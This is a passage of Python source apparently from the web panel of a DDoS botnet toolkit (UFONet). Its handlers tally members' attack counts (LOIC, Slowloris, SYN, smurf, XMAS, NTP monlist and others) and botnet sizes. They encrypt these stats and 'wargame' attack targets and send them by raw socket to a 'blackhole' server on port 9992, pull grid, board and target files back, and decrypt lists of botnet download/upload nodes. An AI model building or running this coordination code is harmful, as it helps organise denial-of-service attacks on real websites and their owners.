  3731. elif grid_filter == "nuke":
  3732. grid_items=sorted(grid_items,key=lambda x:x[14]) # sorted by nuke
  3733. elif grid_filter == "tachyon":
  3734. grid_items=sorted(grid_items,key=lambda x:x[15]) # sorted by tachyon
  3735. elif grid_filter == "monlist":
  3736. grid_items=sorted(grid_items,key=lambda x:x[16]) # sorted by monlist
  3737. elif grid_filter == "contact":
  3738. grid_items=sorted(grid_items,key=lambda x:x[17]) # sorted by contact
  3739. else:
  3740. grid_items=sorted(grid_items,key=lambda x:x[6]) # sorted by missions (default)
  3741. for i in grid_items:
  3742. grid_nickname = str(i[0])
  3743. self.encrypt(grid_key, grid_nickname)
  3744. if self.encryptedtext:
  3745. grid_nickname = self.encryptedtext
  3746. self.encryptedtext = "" # clean encryptedtext buffer
  3747. grid_ranking = str(i[1])
  3748. self.encrypt(grid_key, grid_ranking)
  3749. if self.encryptedtext:
  3750. grid_ranking = self.encryptedtext
  3751. self.encryptedtext = "" # clean encryptedtext buffer
  3752. grid_totalchargo = str(i[2])
  3753. self.encrypt(grid_key, grid_totalchargo)
  3754. if self.encryptedtext:
  3755. grid_totalchargo = self.encryptedtext
  3756. self.encryptedtext = "" # clean encryptedtext buffer
  3757. grid_dorking = str(i[3])
  3758. self.encrypt(grid_key, grid_dorking)
  3759. if self.encryptedtext:
  3760. grid_dorking = self.encryptedtext
  3761. self.encryptedtext = "" # clean encryptedtext buffer
  3762. grid_transferred = str(i[4])
  3763. self.encrypt(grid_key, grid_transferred)
  3764. if self.encryptedtext:
  3765. grid_transferred = self.encryptedtext
  3766. self.encryptedtext = "" # clean encryptedtext buffer
  3767. grid_maxchargo = str(i[5])
  3768. self.encrypt(grid_key, grid_maxchargo)
  3769. if self.encryptedtext:
  3770. grid_maxchargo = self.encryptedtext
  3771. self.encryptedtext = "" # clean encryptedtext buffer
  3772. grid_missions = str(i[6])
  3773. self.encrypt(grid_key, grid_missions)
  3774. if self.encryptedtext:
  3775. grid_missions = self.encryptedtext
  3776. self.encryptedtext = "" # clean encryptedtext buffer
  3777. grid_attacks = str(i[7])
  3778. self.encrypt(grid_key, grid_attacks)
  3779. if self.encryptedtext:
  3780. grid_attacks = self.encryptedtext
  3781. self.encryptedtext = "" # clean encryptedtext buffer
  3782. grid_loic = str(i[8])
  3783. self.encrypt(grid_key, grid_loic)
  3784. if self.encryptedtext:
  3785. grid_loic = self.encryptedtext
  3786. self.encryptedtext = "" # clean encryptedtext buffer
  3787. grid_loris = str(i[9])
  3788. self.encrypt(grid_key, grid_loris)
  3789. if self.encryptedtext:
  3790. grid_loris = self.encryptedtext
  3791. self.encryptedtext = "" # clean encryptedtext buffer
  3792. grid_ufosyn = str(i[10])
  3793. self.encrypt(grid_key, grid_ufosyn)
  3794. if self.encryptedtext:
  3795. grid_ufosyn = self.encryptedtext
  3796. self.encryptedtext = "" # clean encryptedtext buffer
  3797. grid_spray = str(i[11])
  3798. self.encrypt(grid_key, grid_spray)
  3799. if self.encryptedtext:
  3800. grid_spray = self.encryptedtext
  3801. self.encryptedtext = "" # clean encryptedtext buffer
  3802. grid_smurf = str(i[12])
  3803. self.encrypt(grid_key, grid_smurf)
  3804. if self.encryptedtext:
  3805. grid_smurf = self.encryptedtext
  3806. self.encryptedtext = "" # clean encryptedtext buffer
  3807. grid_xmas = str(i[13])
  3808. self.encrypt(grid_key, grid_xmas)
  3809. if self.encryptedtext:
  3810. grid_xmas = self.encryptedtext
  3811. self.encryptedtext = "" # clean encryptedtext buffer
  3812. grid_nuke = str(i[14])
  3813. self.encrypt(grid_key, grid_nuke)
  3814. if self.encryptedtext:
  3815. grid_nuke = self.encryptedtext
  3816. self.encryptedtext = "" # clean encryptedtext buffer
  3817. grid_tachyon = str(i[15])
  3818. self.encrypt(grid_key, grid_tachyon)
  3819. if self.encryptedtext:
  3820. grid_tachyon = self.encryptedtext
  3821. self.encryptedtext = "" # clean encryptedtext buffer
  3822. grid_monlist = str(i[16])
  3823. self.encrypt(grid_key, grid_monlist)
  3824. if self.encryptedtext:
  3825. grid_monlist = self.encryptedtext
  3826. self.encryptedtext = "" # clean encryptedtext buffer
  3827. grid_contact = str(i[17])
  3828. self.encrypt(grid_key, grid_contact)
  3829. if self.encryptedtext:
  3830. grid_contact = self.encryptedtext
  3831. self.encryptedtext = "" # clean encryptedtext buffer
  3832. grid_id = str(i[18]) # id (plain id)
  3833. l = str(grid_nickname) + "#?#" + str(grid_ranking) + "#?#" + str(grid_totalchargo) + "#?#" + str(grid_dorking) + "#?#" + str(grid_transferred) + "#?#" + str(grid_maxchargo) + "#?#" + str(grid_missions) + "#?#" + str(grid_attacks) + "#?#" + str(grid_loic) + "#?#" + str(grid_loris) + "#?#" + str(grid_ufosyn) + "#?#" + str(grid_spray) + "#?#" + str(grid_smurf)+ "#?#" + str(grid_xmas) + "#?#" + str(grid_nuke) + "#?#" + str(grid_tachyon) + "#?#" + str(grid_monlist) + "#?#" + str(grid_contact) + "#?#" + str(grid_id)
  3834. f.write(l + os.linesep)
  3835. f.close()
  3836. except:
  3837. pass
  3838. if page == "/cmd_grid_filter_update":
  3839. if not os.path.exists('/tmp/out'):
  3840. open('/tmp/out', 'w').close()
  3841. with open('/tmp/out', 'r') as f:
  3842. self.pages["/cmd_grid_filter_update"] = "<pre>"+f.read()+"<pre>"
  3843. if page == "/cmd_transfer_grid":
  3844. self.pages["/cmd_transfer_grid"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  3845. blackhole_ip = pGet["grid_source"]
  3846. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  3847. try:
  3848. grid_key = pGet["grid_key"]
  3849. except:
  3850. grid_key = ""
  3851. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  3852. if grid_key is not "": # stream creation + encryption + package send
  3853. try:
  3854. grid_json_file = open(self.mothership_gridcfg_file, "r") # extract grid profile conf
  3855. grid_data = json.load(grid_json_file)
  3856. grid_json_file.close()
  3857. stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
  3858. stats_data = json.load(stats_json_file)
  3859. stats_json_file.close()
  3860. nickname = grid_data["grid_nick"].encode('utf-8')
  3861. self.encrypt(grid_key, nickname)
  3862. if self.encryptedtext:
  3863. nickname = self.encryptedtext
  3864. self.encryptedtext = "" # clean encryptedtext buffer
  3865. ranking = self.ranking
  3866. if ranking == "Rookie":
  3867. ranking = 1
  3868. elif ranking == "Mercenary":
  3869. ranking = 2
  3870. elif ranking == "Bandit":
  3871. ranking = 3
  3872. elif ranking == "UFOmmander!":
  3873. ranking = 4
  3874. elif ranking == "UFOl33t!":
  3875. ranking = 5
  3876. else:
  3877. ranking = 1
  3878. self.encrypt(grid_key, str(ranking))
  3879. if self.encryptedtext:
  3880. ranking = self.encryptedtext
  3881. self.encryptedtext = "" # clean encryptedtext buffer
  3882. chargo = self.total_botnet
  3883. self.encrypt(grid_key, str(chargo))
  3884. if self.encryptedtext:
  3885. chargo = self.encryptedtext
  3886. self.encryptedtext = "" # clean encryptedtext buffer
  3887. dorking = stats_data["scanner"]
  3888. self.encrypt(grid_key, str(dorking))
  3889. if self.encryptedtext:
  3890. dorking = self.encryptedtext
  3891. self.encryptedtext = "" # clean encryptedtext buffer
  3892. transferred = stats_data["transferred"]
  3893. self.encrypt(grid_key, str(transferred))
  3894. if self.encryptedtext:
  3895. transferred = self.encryptedtext
  3896. self.encryptedtext = "" # clean encryptedtext buffer
  3897. max_chargo = stats_data["max_chargo"]
  3898. self.encrypt(grid_key, str(max_chargo))
  3899. if self.encryptedtext:
  3900. max_chargo = self.encryptedtext
  3901. self.encryptedtext = "" # clean encryptedtext buffer
  3902. missions = stats_data["missions"]
  3903. self.encrypt(grid_key, str(missions))
  3904. if self.encryptedtext:
  3905. missions = self.encryptedtext
  3906. self.encryptedtext = "" # clean encryptedtext buffer
  3907. attacks = stats_data["completed"]
  3908. self.encrypt(grid_key, str(attacks))
  3909. if self.encryptedtext:
  3910. attacks = self.encryptedtext
  3911. self.encryptedtext = "" # clean encryptedtext buffer
  3912. loic = stats_data["loic"]
  3913. self.encrypt(grid_key, str(loic))
  3914. if self.encryptedtext:
  3915. loic = self.encryptedtext
  3916. self.encryptedtext = "" # clean encryptedtext buffer
  3917. loris = stats_data["loris"]
  3918. self.encrypt(grid_key, str(loris))
  3919. if self.encryptedtext:
  3920. loris = self.encryptedtext
  3921. self.encryptedtext = "" # clean encryptedtext buffer
  3922. ufosyn = stats_data["ufosyn"]
  3923. self.encrypt(grid_key, str(ufosyn))
  3924. if self.encryptedtext:
  3925. ufosyn = self.encryptedtext
  3926. self.encryptedtext = "" # clean encryptedtext buffer
  3927. spray = stats_data["spray"]
  3928. self.encrypt(grid_key, str(spray))
  3929. if self.encryptedtext:
  3930. spray = self.encryptedtext
  3931. self.encryptedtext = "" # clean encryptedtext buffer
  3932. smurf = stats_data["smurf"]
  3933. self.encrypt(grid_key, str(smurf))
  3934. if self.encryptedtext:
  3935. smurf = self.encryptedtext
  3936. self.encryptedtext = "" # clean encryptedtext buffer
  3937. xmas = stats_data["xmas"]
  3938. self.encrypt(grid_key, str(xmas))
  3939. if self.encryptedtext:
  3940. xmas = self.encryptedtext
  3941. self.encryptedtext = "" # clean encryptedtext buffer
  3942. nuke = stats_data["nuke"]
  3943. self.encrypt(grid_key, str(nuke))
  3944. if self.encryptedtext:
  3945. nuke = self.encryptedtext
  3946. self.encryptedtext = "" # clean encryptedtext buffer
  3947. tachyon = stats_data["tachyon"]
  3948. self.encrypt(grid_key, str(tachyon))
  3949. if self.encryptedtext:
  3950. tachyon = self.encryptedtext
  3951. self.encryptedtext = "" # clean encryptedtext buffer
  3952. monlist = stats_data["monlist"]
  3953. self.encrypt(grid_key, str(monlist))
  3954. if self.encryptedtext:
  3955. monlist = self.encryptedtext
  3956. self.encryptedtext = "" # clean encryptedtext buffer
  3957. contact = grid_data["grid_contact"].encode('utf-8')
  3958. self.encrypt(grid_key, str(contact))
  3959. if self.encryptedtext:
  3960. contact = self.encryptedtext
  3961. self.encryptedtext = "" # clean encryptedtext buffer
  3962. id = grid_data["grid_token"] # plain text
  3963. stream = str(nickname)+grid_msg_sep+str(ranking)+grid_msg_sep+str(chargo)+grid_msg_sep+str(dorking)+grid_msg_sep+str(transferred)+grid_msg_sep+str(max_chargo)+grid_msg_sep+str(missions)+grid_msg_sep+str(attacks)+grid_msg_sep+str(loic)+grid_msg_sep+str(loris)+grid_msg_sep+str(ufosyn)+grid_msg_sep+str(spray)+grid_msg_sep+str(smurf)+grid_msg_sep+str(xmas)+grid_msg_sep+str(nuke)+grid_msg_sep+str(tachyon)+grid_msg_sep+str(monlist)+grid_msg_sep+str(contact)+grid_msg_sep+str(id)
  3964. try:
  3965. host = blackhole_ip
  3966. cport = 9992 # port used by mothership grider (server side script)
  3967. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  3968. gs.settimeout(5.0)
  3969. gs.connect((host, cport))
  3970. gs.send(stream)
  3971. gs.close()
  3972. try: # download latest grid after submit
  3973. grid = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read().decode('utf-8')
  3974. f = open(self.grid_file, "w") # write updates to grid.txt
  3975. f.write(grid)
  3976. f.close()
  3977. except:
  3978. pass
  3979. grid_trans = "[Info] [AI] Statistics transferred! -> [OK!]\n"
  3980. except:
  3981. grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n"
  3982. except:
  3983. grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n"
  3984. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  3985. f = open("/tmp/out", "w")
  3986. f.write(grid_trans)
  3987. f.write(end_mark)
  3988. f.close()
  3989. if page == "/cmd_transfer_grid_update":
  3990. if not os.path.exists('/tmp/out'):
  3991. open('/tmp/out', 'w').close()
  3992. with open('/tmp/out', 'r') as f:
  3993. self.pages["/cmd_transfer_grid_update"] = "<pre>"+f.read()+"<pre>"
  3994. if page == "/cmd_transfer_wargame":
  3995. self.pages["/cmd_transfer_wargame"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  3996. blackhole_ip = pGet["wargames_source2"]
  3997. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  3998. try:
  3999. wargames_enckey = pGet["wargames_enckey"]
  4000. except:
  4001. wargames_enckey = ""
  4002. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  4003. wargames_target = pGet["wargames_target"]
  4004. if wargames_target.startswith("http://") or wargames_target.startswith("https://"): # parse proposed target url
  4005. t = urlparse(wargames_target)
  4006. wargames_target = t.netloc
  4007. else:
  4008. wargames_trans = "[Error] [AI] Proposed target hasn't a correct format!. Try it again...\n"
  4009. wargames_enckey = ""
  4010. if wargames_target.startswith("www."):
  4011. wargames_target = wargames_target.replace("www.","")
  4012. wargames_estimated = pGet["wargames_estimated"]
  4013. try:
  4014. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  4015. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  4016. if (wargames_creation > wargames_estimated) == True: # parse bad dates
  4017. wargames_trans = "[Error] [AI] Date time should be major than creation time. Try it again...\n"
  4018. wargames_enckey = ""
  4019. except:
  4020. wargames_trans = "[Error] [AI] Date time is not using a correct format!. Try it again...\n"
  4021. wargames_enckey = ""
  4022. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4023. if wargames_enckey is not "": # stream creation + encryption + package send
  4024. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  4025. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  4026. try:
  4027. self.encrypt(wargames_enckey, wargames_creation)
  4028. if self.encryptedtext:
  4029. wargames_creation = self.encryptedtext
  4030. self.encryptedtext = "" # clean encryptedtext buffer
  4031. self.encrypt(wargames_enckey, wargames_target)
  4032. if self.encryptedtext:
  4033. wargames_target = self.encryptedtext
  4034. self.encryptedtext = "" # clean encryptedtext buffer
  4035. self.encrypt(wargames_enckey, wargames_estimated)
  4036. if self.encryptedtext:
  4037. wargames_estimated = self.encryptedtext
  4038. self.encryptedtext = "" # clean encryptedtext buffer
  4039. stream = str(wargames_creation)+wargames_msg_sep+str(wargames_target)+wargames_msg_sep+str(wargames_estimated)
  4040. try:
  4041. host = blackhole_ip
  4042. cport = 9992 # port used by mothership grider (server side script)
  4043. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  4044. gs.settimeout(5.0)
  4045. gs.connect((host, cport))
  4046. gs.send(stream)
  4047. gs.close()
  4048. try: # download latest wargames after submit
  4049. wargames = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read().decode('utf-8')
  4050. f = open(self.wargames_file, "w") # write updates to wargames.txt
  4051. f.write(wargames)
  4052. f.close()
  4053. except:
  4054. pass
  4055. wargames_trans = "[Info] [AI] Wargame transferred! -> [OK!]\n"
  4056. except:
  4057. wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n"
  4058. except:
  4059. wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n"
  4060. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4061. f = open("/tmp/out", "w")
  4062. f.write(wargames_trans)
  4063. f.write(end_mark)
  4064. f.close()
  4065. if page == "/cmd_transfer_wargame_update":
  4066. if not os.path.exists('/tmp/out'):
  4067. open('/tmp/out', 'w').close()
  4068. with open('/tmp/out', 'r') as f:
  4069. self.pages["/cmd_transfer_wargame_update"] = "<pre>"+f.read()+"<pre>"
  4070. if page == "/cmd_sync_board":
  4071. self.pages["/cmd_sync_board"] = "<pre>Waiting for 'blackhole' reply...</pre>"
  4072. blackhole_ip = pGet["board_source"]
  4073. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  4074. try:
  4075. board = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read().decode('utf-8')
  4076. f = open(self.board_file, "w") # write updates to board.txt
  4077. f.write(board)
  4078. f.close()
  4079. self.board_text = board
  4080. except:
  4081. board = "[Error] [AI] Something wrong downloading. Try it again or using another source...\n"
  4082. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4083. f = open("/tmp/out", "w")
  4084. f.write(str(board))
  4085. f.write(end_mark)
  4086. f.close()
  4087. if page == "/cmd_sync_board_update":
  4088. if not os.path.exists('/tmp/out'):
  4089. open('/tmp/out', 'w').close()
  4090. with open('/tmp/out', 'r') as f:
  4091. stream = f.read()
  4092. stream = re.sub("(.{100})", "\\1\n", stream, 0, re.DOTALL) # regex magics! (set visual stream to 100 chars after \n)
  4093. self.pages["/cmd_sync_board_update"] = "<pre>"+stream+"<pre>"
  4094. if page == "/cmd_send_message_board":
  4095. self.pages["/cmd_send_message_board"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  4096. blackhole_ip = pGet["board_source"]
  4097. blackhole_ip = urllib.parse.unquote(blackhole_ip).decode('utf8')
  4098. try:
  4099. board_key = pGet["board_key"]
  4100. except:
  4101. board_key = ""
  4102. try:
  4103. board_topic = pGet["board_topic"]
  4104. except:
  4105. board_topic = ""
  4106. try:
  4107. board_message = pGet["stream_txt"]
  4108. except:
  4109. board_message = ""
  4110. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  4111. if board_key is not "" or board_topic is not "" or board_message is not "": # stream creation (topic | icon | nick | id | comment) + encryption (board_key) + package send (default blackhole)
  4112. try:
  4113. board_json_file = open(self.mothership_boardcfg_file, "r") # extract board profile conf
  4114. board_data = json.load(board_json_file)
  4115. board_json_file.close()
  4116. board_nickname = board_data["profile_nick"]
  4117. self.encrypt(board_key, board_nickname)
  4118. if self.encryptedtext:
  4119. board_nickname = self.encryptedtext
  4120. self.encryptedtext = "" # clean encryptedtext buffer
  4121. board_icon = board_data["profile_icon"]
  4122. board_icon = board_icon.replace("link", "") # keep just icon number
  4123. board_id = board_data["profile_token"]
  4124. self.encrypt(board_key, board_message)
  4125. if self.encryptedtext:
  4126. board_message = self.encryptedtext
  4127. self.encryptedtext = "" # clean encryptedtext buffer
  4128. if board_topic == "general":
  4129. board_topic = 1
  4130. elif board_topic == "opsec":
  4131. board_topic = 2
  4132. elif board_topic == "faq":
  4133. board_topic = 3
  4134. elif board_topic == "bugs":
  4135. board_topic = 4
  4136. elif board_topic == "media":
  4137. board_topic = 5
  4138. else:
  4139. board_topic = 1
  4140. stream = str(board_topic)+board_msg_sep+str(board_icon)+board_msg_sep+str(board_nickname)+board_msg_sep+str(board_id)+board_msg_sep+str(board_message)
  4141. try:
  4142. host = blackhole_ip
  4143. cport = 9992 # port used by mothership grider (server side script)
  4144. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  4145. gs.settimeout(5.0)
  4146. gs.connect((host, cport))
  4147. gs.send(stream)
  4148. gs.close()
  4149. try: # download latest board after submit
  4150. board = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/board.txt').read().decode('utf-8')
  4151. f = open(self.board_file, "w") # write updates to board.txt
  4152. f.write(board)
  4153. f.close()
  4154. except:
  4155. pass
  4156. board_trans = "[Info] [AI] The message has been sent! -> [OK!]\n"
  4157. except:
  4158. board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n"
  4159. except:
  4160. board_trans = "[Error] [AI] Something wrong sending message to the board. Try it again...\n"
  4161. f = open("/tmp/out", "w")
  4162. f.write(board_trans)
  4163. f.write(end_mark)
  4164. f.close()
  4165. if page == "/cmd_send_message_board_update":
  4166. if not os.path.exists('/tmp/out'):
  4167. open('/tmp/out', 'w').close()
  4168. with open('/tmp/out', 'r') as f:
  4169. self.pages["/cmd_send_message_board_update"] = "<pre>"+f.read()+"<pre>"
  4170. if page == "/cmd_decrypt":
  4171. self.pages["/cmd_decrypt"] = "<pre>Waiting for decrypting results...</pre>"
  4172. try:
  4173. news_key = pGet["news_key"]
  4174. except:
  4175. news_key = ""
  4176. try:
  4177. missions_key = pGet["missions_key"]
  4178. except:
  4179. missions_key = ""
  4180. end_mark = "\n[Info] [AI] End of decryption."
  4181. if news_key is not "": # news decryption
  4182. self.decrypted_news = []
  4183. nodec_text = "*** [This message cannot be solved with that KEY...]"
  4184. news_key = pGet["news_key"]
  4185. for news_text in self.list_news:
  4186. self.decrypt(news_key, news_text)
  4187. if self.decryptedtext:
  4188. if len(self.decryptedtext) < 2:
  4189. self.decrypted_news.append(nodec_text)
  4190. else:
  4191. self.decrypted_news.append(self.decryptedtext)
  4192. else:
  4193. self.decrypted_news.append(nodec_text)
  4194. self.decryptedtext = "" # clean decryptedtext buffer
  4195. f = open("/tmp/out", "w")
  4196. num_news = 0 # news counter
  4197. for m in self.decrypted_news:
  4198. num_news = num_news + 1
  4199. f.write("["+str(num_news)+"] " + str(m)+"\n")
  4200. f.write(end_mark)
  4201. f.close()
  4202. else:
  4203. if missions_key is not "": # missions decryption
  4204. self.decrypted_missions = []
  4205. nodec_text = "*** [This message cannot be solved with that KEY...]"
  4206. missions_key = pGet["missions_key"]
  4207. for missions_text in self.list_missions:
  4208. self.decrypt(missions_key, missions_text)
  4209. if self.decryptedtext:
  4210. if len(self.decryptedtext) < 2:
  4211. self.decrypted_missions.append(nodec_text)
  4212. else:
  4213. self.decrypted_missions.append(self.decryptedtext)
  4214. else:
  4215. self.decrypted_missions.append(nodec_text)
  4216. self.decryptedtext = "" # clean decryptedtext buffer
  4217. f = open("/tmp/out", "w")
  4218. num_mission = 0 # missions counter
  4219. for m in self.decrypted_missions:
  4220. num_mission = num_mission + 1
  4221. f.write("["+str(num_mission)+"] " + str(m)+"\n")
  4222. f.write(end_mark)
  4223. f.close()
  4224. else: # blackholes (nodes.dat) decryption + data showing
  4225. self.decrypted_blackholes = []
  4226. nodec_text = "*** [This message cannot be solved with that key...]"
  4227. blackhole_key = pGet["blackhole_key"]
  4228. for blackholes_text in self.list_blackholes:
  4229. self.decrypt(blackhole_key, blackholes_text)
  4230. if self.decryptedtext:
  4231. self.decrypted_blackholes.append(self.decryptedtext)
  4232. else:
  4233. self.decrypted_blackholes.append(nodec_text)
  4234. self.decryptedtext = "" # clean decryptedtext buffer
  4235. f = open("/tmp/out", "w")
  4236. num_blackholes = 0 # blackholes counter
  4237. for b in self.decrypted_blackholes:
  4238. num_blackholes = num_blackholes + 1
  4239. if blackhole_sep in b: # IP | Mode | Comment | Actions
  4240. s = b.rsplit(blackhole_sep, 1)[0]
  4241. ip = str(s.rsplit(blackhole_sep, 1)[0])
  4242. mode = str(s.rsplit(blackhole_sep, 1)[1])
  4243. if mode == "D": # Download only mode
  4244. mode = "<a href=javascript:runCommandX('cmd_download_community')>Download</a>"
  4245. elif mode == "U": # Upload only mode
  4246. mode = "<a href=javascript:runCommandX('cmd_upload_community')>Upload</a>"
  4247. else: # Upload/Download mode
  4248. mode = "<a href=javascript:runCommandX('cmd_download_community')>Download</a>" + " - " + "<a href=javascript:runCommandX('cmd_upload_community')>Upload</a>"
  4249. comment = str(b.rsplit(blackhole_sep, 1)[1])
  4250. b = ip + " " + blackhole_sep + " Botnet: " + mode + " " + blackhole_sep + " Comment: " + comment
  4251. f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
  4252. else:
  4253. f.write("["+str(num_blackholes)+"] " + str(b)+"\n")
  4254. f.write(end_mark)
  4255. f.close()
  4256. if page == "/cmd_decrypt_update":
  4257. if not os.path.exists('/tmp/out'):
  4258. open('/tmp/out', 'w').close()
  4259. with open('/tmp/out', 'r') as f:
  4260. self.pages["/cmd_decrypt_update"] = "<pre>"+f.read()+"<pre>"
  4261. if page == "/news":
  4262. self.pages["/news"] = self.html_news()
  4263. if page == "/missions":
  4264. self.pages["/missions"] = self.html_missions()
  4265. if page == "/board":
  4266. self.pages["/board"] = self.html_board()
  4267. if page == "/grid":
  4268. self.pages["/grid"] = self.html_grid()
  4269. if page == "/wargames":
  4270. self.pages["/wargames"] = self.html_wargames()
  4271. if page == "/grid_profile":
  4272. if pGet=={}:
  4273. self.pages["/grid_profile"] = self.html_grid_profile()
  4274. else:
  4275. self.save_grid(pGet)
  4276. self.pages["/grid_profile"] = self.html_grid_profile_submit()
  4277. if page == "/board_profile":
  4278. if pGet =={}:
  4279. self.pages["/board_profile"] = self.html_board_profile()
  4280. else:
  4281. self.save_profile(pGet)
  4282. self.pages["/board_profile"] = self.html_board_profile_submit()
  4283. if page == "/board_remove":
  4284. self.pages["/board_remove"] = self.html_board_remove()
  4285. if page == "/grid_remove":
  4286. self.pages["/grid_remove"] = self.html_grid_remove()
  4287. if page == "/cmd_decrypt_moderator_board":
  4288. self.pages["/cmd_decrypt_moderator_board"] = "<pre>Waiting for decrypting results...</pre>"
  4289. try:
  4290. board_key = pGet["board_key"]
  4291. except:
  4292. board_key = ""
  4293. try:
  4294. filter = pGet["filter"]
  4295. except:
  4296. filter = ""
  4297. end_mark = "\n[Info] [AI] End of decryption."
  4298. if board_key is not "": # board decryption
  4299. nodec_text = "***[ENCRYPTED WITH OTHER KEY]"
  4300. f = open("/tmp/out", "w")
  4301. b = "<center><table border='1' cellpadding='10' cellspacing='5' align=center>"
  4302. f.write(str(b)+"\n")
  4303. self.list_moderator_rev = reversed(self.list_moderator) # order by DESC
  4304. for m in self.list_moderator_rev: # msg = topic | icon | nick | id | comment
  4305. if board_msg_sep in m:
  4306. m = m.split(board_msg_sep)
  4307. topic = m[0] # topic
  4308. t = m[1] # icon
  4309. n = m[2] # nick
  4310. g = m[3] # id
  4311. l = m[4] # comment
  4312. if topic == "1":
  4313. topic = "/GENERAL"
  4314. elif topic == "2":
  4315. topic = "/#OPSEC "
  4316. elif topic == "3":
  4317. topic = "/FAQ "
  4318. elif topic == "4":
  4319. topic = "/BUGS "
  4320. elif topic == "5":
  4321. topic = "/MEDIA "
  4322. else:
  4323. topic = "/BUGS[!]"
  4324. operator_img = open("core/images/crew/link"+str(t)+".txt").read()
  4325. icon = "<img src='data:image/png;base64,"+str(operator_img)+"'>"
  4326. self.decrypt(board_key, n)
  4327. if self.decryptedtext:
  4328. nick = self.decryptedtext
  4329. else:
  4330. nick = 'Anonymous' # We are legion!
  4331. try:
  4332. nick = nick.decode('latin-1') # parsing for "her.man.xs-latino"
  4333. except:
  4334. pass
  4335. if len(nick) < 3:
  4336. nick = 'Anonymous'
  4337. self.decryptedtext = "" # clean decryptedtext buffer
  4338. id = str(g)[0:6] # only show 6 chars from personal ID (obfuscation)
  4339. self.decrypt(board_key, l)
  4340. if self.decryptedtext:
  4341. msg = self.decryptedtext
  4342. else:
  4343. msg = nodec_text
  4344. try:
  4345. msg = msg.decode('latin-1')
  4346. except:
  4347. pass
  4348. if len(msg) < 2:
  4349. msg = nodec_text
  4350. self.decryptedtext = "" # clean decryptedtext buffer
  4351. if filter in topic or filter == "ALL": # filter content by user selection
  4352. b = "<tr valign=top><td align=center>" + str(icon) + "<br>"+str(nick)+"</td><td>"
  4353. b += "<font size=+2>"+str(topic)+"</font>"
  4354. b += "<br>by "+str(nick)+"<br><br>"
  4355. b += str(msg) + "</td></tr>"
  4356. f.write(str(b)+"\n")
  4357. else:
  4358. pass
  4359. else: # not valid stream data
  4360. pass
  4361. b="</table>"
  4362. f.write(str(b)+"\n")
  4363. f.write(end_mark)
  4364. f.close()
  4365. if page == "/cmd_decrypt_moderator_board_update":
  4366. if not os.path.exists('/tmp/out'):
  4367. open('/tmp/out', 'w').close()
  4368. with open('/tmp/out', 'r') as f:
  4369. self.pages["/cmd_decrypt_moderator_board_update"] = "<pre>"+f.read()+"<pre>"
  4370. if page == "/cmd_decrypt_grid":
  4371. self.pages["/cmd_decrypt_grid"] = "<pre>Waiting for decrypting results...</pre>"
  4372. try:
  4373. grid_key = pGet["grid_key"]
  4374. except:
  4375. grid_key = ""
  4376. end_mark = "[Info] [AI] End of decryption."
  4377. if grid_key is not "": # grid decryption
  4378. # Mothership stats counters
  4379. mothership_members = 0
  4380. unknown_members = 0
  4381. member_1 = 0 # Rookie
  4382. member_2 = 0 # Mercenary
  4383. member_3 = 0 # Bandit
  4384. member_4 = 0 # UFOmmander!
  4385. member_5 = 0 # UFOl33t!
  4386. mothership_missions = 0
  4387. mothership_transferred = 0
  4388. mothership_attacks = 0
  4389. mothership_loic = 0
  4390. mothership_loris = 0
  4391. mothership_ufosyn = 0
  4392. mothership_spray = 0
  4393. mothership_smurf = 0
  4394. mothership_xmas = 0
  4395. mothership_nuke = 0
  4396. mothership_tachyon = 0
  4397. mothership_monlist = 0
  4398. mothership_chargo = 0
  4399. mothership_dorking = 0
  4400. mothership_maxchargo = 0
  4401. nodec_text = "KEY?"
  4402. grid_table = "<center><u>MEMBERS STATS:</u></center><br><table cellpadding='5' cellspacing='5' border='1'><tr><td align='center'><a id='filter_nickname' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('nickname','"+str(grid_key)+"')>NICK:</a></td><td align='center'><a id='filter_ranking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('ranking','"+str(grid_key)+"')>RANK:</a></td><td align='center'><a id='filter_chargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('chargo','"+str(grid_key)+"')>CHARGO:</a></td><td align='center'><a id='filter_dorking' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('dorking','"+str(grid_key)+"')>DORKING:</a></td><td align='center'><a id='filter_transf' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('transferred','"+str(grid_key)+"')>TRANSF:</a></td><td align='center'><a id='filter_maxchargo' style='color:red;text-decoration:underline red;' onclick=javascript:GridFilter('maxchargo','"+str(grid_key)+"')>MAX.CHARGO:</a></td><td align='center'><a id='filter_missions' style='color:red;text-decoration:underline red;' 